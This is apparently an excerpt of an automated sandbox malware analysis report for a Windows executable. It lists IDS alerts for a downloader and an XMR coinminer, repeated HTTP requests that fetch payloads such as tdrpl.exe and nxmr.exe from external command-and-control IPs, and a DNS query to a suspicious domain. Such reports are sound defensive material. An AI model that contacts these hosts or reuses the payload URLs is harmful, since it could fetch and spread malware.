Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:50001 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:50000 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:50006 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:50007 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:50015 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:50023 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:50012 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:50025 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:50016 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:50021 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:50020 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:50027 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:50018 -> 185.215.113.66:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:50013 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:50010 -> 91.202.233.141:80
Source: Network traffic	Suricata IDS: 2826930 - Severity 2 - ETPRO COINMINER XMR CoinMiner Usage : 192.168.2.6:50008 -> 185.215.113.66:5152

Source: global traffic	HTTP traffic detected: GET /tdrpl.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.215.113.66Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /nxmr.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Host: 185.215.113.84
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /ALLBSTATAASASD HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141

Source: unknown	TCP traffic detected without corresponding DNS query: 88.151.180.214
Source: unknown	TCP traffic detected without corresponding DNS query: 88.151.180.214
Source: unknown	TCP traffic detected without corresponding DNS query: 88.151.180.214
Source: unknown	TCP traffic detected without corresponding DNS query: 88.151.180.214
Source: unknown	TCP traffic detected without corresponding DNS query: 88.151.180.214
Source: unknown	TCP traffic detected without corresponding DNS query: 92.47.47.166
Source: unknown	TCP traffic detected without corresponding DNS query: 92.47.47.166
Source: unknown	TCP traffic detected without corresponding DNS query: 92.47.47.166
Source: unknown	TCP traffic detected without corresponding DNS query: 92.47.47.166
Source: unknown	TCP traffic detected without corresponding DNS query: 88.151.180.214
Source: unknown	TCP traffic detected without corresponding DNS query: 92.47.47.166
Source: unknown	TCP traffic detected without corresponding DNS query: 92.47.47.166
Source: unknown	TCP traffic detected without corresponding DNS query: 90.156.162.125
Source: unknown	TCP traffic detected without corresponding DNS query: 90.156.162.125
Source: unknown	TCP traffic detected without corresponding DNS query: 90.156.162.125
Source: unknown	TCP traffic detected without corresponding DNS query: 90.156.162.125
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 90.156.162.125
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.84

Source: C:\Users\user\Desktop\Us051y7j25.exe

0_2_001410B0

Source: global traffic	HTTP traffic detected: GET /tdrpl.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 185.215.113.66Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /nxmr.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Host: 185.215.113.84
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /ALLBSTATAASASD HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 91.202.233.141

Source: global traffic

DNS traffic detected: DNS query: twizthash.net

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 05:27:18 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 05:27:20 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
